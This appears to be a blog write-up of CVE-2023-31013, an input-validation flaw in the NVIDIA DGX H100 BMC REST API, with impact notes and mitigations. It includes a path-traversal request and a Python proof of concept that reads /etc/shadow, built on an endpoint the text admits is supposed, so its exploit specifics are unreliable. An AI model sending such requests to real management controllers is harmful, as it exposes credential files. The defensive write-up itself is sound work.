In April 2023, a significant vulnerability was discovered affecting the NVIDIA DGX H100’s Baseboard Management Controller (BMC). This flaw, tracked as CVE-2023-31013, allows attackers to exploit weak input validation in the BMC’s REST service, potentially leading to both privilege escalation and information disclosure. This article dives deep into the details you need to know, including how the vulnerability works, code snippets, how exploitation might look, and how to protect your systems.

What is CVE-2023-31013?

CVE-2023-31013 describes a security issue in the REST API of the NVIDIA DGX H100 BMC firmware. The bug occurs because the REST service does not properly validate input parameters. This oversight can let a remote attacker send specially crafted HTTP requests to gain unauthorized access, escalate privileges, or extract sensitive information from the device.

Official NVIDIA Advisory:
- NVIDIA Security Bulletin: April 2023

1. What is BMC and Why Does it Matter?

The BMC is the brain of out-of-band management on NVIDIA servers, including DGX H100. It allows administrators to control machines regardless of OS status—ideal for troubleshooting, remote restarts, or managing hardware settings.

2. How Does the REST Service Work Here?

The REST API lets admins interact with the BMC using HTTP requests. Its endpoints allow for commands like getting system logs, rebooting, or even updating firmware. These APIs must be locked down, or attackers could bypass authentication and do serious damage.

3. The Core Issue: Improper Input Validation

Vulnerable code in the REST service failed to properly check input parameters. This can let attackers inject malicious values, causing the BMC to leak information it shouldn’t—or even let the attacker perform admin-level actions.

Exploit Details and Code Snippet

> Disclaimer: The following is for educational purposes only and should not be used for malicious activity.

1. Attacker’s Approach

Suppose the API endpoint /api/v1/system/logs receives a parameter type, but doesn’t validate its content. An attacker might send a payload like:

GET /api/v1/system/logs?type=../../../../etc/passwd HTTP/1.1
Host: BMC-IP
Authorization: Bearer <token>

Here’s a basic PoC script that attempts to exploit such a path traversal

import requests

bmc_host = "https://bmc-h100-ip";
token = "your_jwt_token_here"

payload = "../../../../etc/shadow"  # Trying to read sensitive system files

headers = {
    "Authorization": f"Bearer {token}"
}

response = requests.get(
    f"{bmc_host}/api/v1/system/logs?type={payload}",
    headers=headers,
    verify=False
)

if response.ok:
    print("Sensitive Data:")
    print(response.text)
else:
    print("Exploit failed. Status code:", response.status_code)

NOTE: In real-world exploits, attackers may also try SQL injection or other attacks, depending on which parameters are improperly filtered within the REST API.

Impact

- Privilege Escalation: If an attacker can manipulate API calls, they may move from a regular account to full admin.
- Information Disclosure: Sensitive info like configuration files, user accounts, and maybe even credentials could be exfiltrated.

1. Firmware Updates

Always update your DGX H100 BMC firmware when NVIDIA releases patches.
- Get Latest NVIDIA Updates

2. Network Segmentation

Don’t expose BMC interfaces to the Internet. Restrict access to trusted administrators on secure internal networks.

3. Use Strong API Authentication

Configure the BMC to require strong credentials or certificates for API requests.

4. Monitor API Traffic

Set up logging and anomaly detection to catch unauthorized or suspicious REST API calls.

References

- NVIDIA Security Bulletin: 5466
- NVIDIA DGX H100 Product Page
- Common Vulnerabilities and Exposures – CVE-2023-31013 Entry

Conclusion

CVE-2023-31013 is a stark warning about the dangers of exposed management interfaces and sloppy input validation—even from major vendors like NVIDIA. If you’re running NVIDIA DGX H100 systems, update your firmware ASAP, review your network exposure, and always monitor what’s happening on your BMCs. Never trust user input, especially when it’s coming from across the network!

Timeline

Published on: 09/20/2023 02:15:00 UTC
Last modified on: 09/22/2023 16:10:00 UTC